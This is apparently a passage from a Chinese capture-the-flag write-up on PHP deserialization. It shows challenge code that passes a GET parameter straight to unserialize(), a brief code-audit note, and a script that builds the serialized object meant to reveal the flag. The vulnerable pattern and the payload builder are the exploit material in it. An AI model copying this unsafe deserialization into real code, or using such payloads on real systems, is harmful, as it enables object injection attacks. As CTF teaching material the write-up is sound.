<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin = "user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
a. 代码审计
首先定义了两个变量 admin 和 passwd。
__construct():该方法和 Java 里面构造函数的作用很类似,它是 PHP 里面的构造函数,当代码出现 new 对象的时候自动调用这个函数,为两个变量赋初值。
<?php
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin = "admin";
$this->passwd = "wllm";
}
}
$a = new HaHaHa();
$a = serialize($a);
echo $a;
?>